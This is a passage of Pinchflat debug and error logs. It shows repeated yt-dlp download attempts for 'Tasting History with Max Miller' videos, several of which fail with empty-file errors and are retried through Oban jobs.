[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/16/d7/16d7f14d0474dfccbae0296a1f2ad41a76e5a92cab0211b3135dd267856d8025.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:36:54.996 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 03:36:54.997 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":381349206,"event":"job:exception","queue_time":264544143,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:37:00.043 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:37:17.761 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:28.930 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774942648930244820,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:37:28.930 [debug] QUERY OK source="media_items" db=0.1ms idle=1538.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 03:37:28.930 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:37:28.931 [debug] QUERY OK source="sources" db=0.1ms idle=1539.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:37:28.931 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:37:28.931 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 03:37:28.932 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 03:37:28.932 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:37:28.933 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:28.933 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:28.933 [debug] Running yt-dlp command for action: get_downloadable_status 03:37:28.933 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:28.934 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:28.934 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:28.934 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/f7/93f7ab5b249b5c3f38107d9837dae43e577719b62f8edf68f152ff63aaa2a5ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:37:33.283 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/f7/93f7ab5b249b5c3f38107d9837dae43e577719b62f8edf68f152ff63aaa2a5ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:37:33.283 [debug] Running yt-dlp command for action: download 03:37:33.283 [debug] QUERY OK source="settings" db=0.1ms idle=891.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:33.283 [debug] QUERY OK source="settings" db=0.1ms idle=892.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:33.284 [debug] QUERY OK source="settings" db=0.0ms idle=892.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:37:33.284 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/77/d9/77d92a3f76f056378985593dd961e67e0d7103ad87e23f07e387ff71a0e56b03.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:37:47.763 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.044 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:38:17.764 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:47.765 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.045 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:39:17.766 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:47.767 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.046 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:40:17.768 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:47.769 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.047 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:41:17.770 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:47.771 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:48.776 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6a/38/6a385403b36c5dfe8e6d72421062fdc8356cf086e595c849d6c69e0465639d83.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:41:48.776 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:41:48.777 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":309007792,"event":"job:exception","queue_time":281258437,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:41:48.784 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774942908784144989,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:41:48.784 [debug] QUERY OK source="media_items" db=0.1ms idle=1392.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:41:48.784 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:41:48.785 [debug] QUERY OK source="sources" db=0.1ms idle=1013.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:41:48.785 [debug] QUERY OK source="media_profiles" db=0.1ms idle=456.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:41:48.785 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:41:48.786 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:41:48.786 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:41:48.787 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:48.787 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:48.787 [debug] Running yt-dlp command for action: get_downloadable_status 03:41:48.787 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:48.788 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:48.788 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:48.788 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/28/88/28886edcd137bef38760051f42bd9ebfb518c7618998f3b8d54902344401d0cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:41:52.664 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/28/88/28886edcd137bef38760051f42bd9ebfb518c7618998f3b8d54902344401d0cd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:41:52.665 [debug] Running yt-dlp command for action: download 03:41:52.665 [debug] QUERY OK source="settings" db=0.1ms idle=332.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:52.665 [debug] QUERY OK source="settings" db=0.0ms idle=273.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:52.665 [debug] QUERY OK source="settings" db=0.0ms idle=274.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:41:52.666 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/71/0e717489fbf0b0aa88a48fd4f143c26b4a704234ab4c412ad0d7f4f595dd0780.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:42:00.048 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:42:17.772 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:47.773 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:49.396 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/77/d9/77d92a3f76f056378985593dd961e67e0d7103ad87e23f07e387ff71a0e56b03.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:42:49.396 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 03:42:49.396 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":320466044,"event":"job:exception","queue_time":932916,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:43:00.050 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:43:12.427 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774942992427271934,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:43:12.427 [debug] QUERY OK source="media_items" db=0.1ms idle=1035.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 03:43:12.427 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:43:12.428 [debug] QUERY OK source="sources" db=0.2ms idle=1036.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:43:12.428 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:43:12.429 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 03:43:12.429 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 03:43:12.429 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", 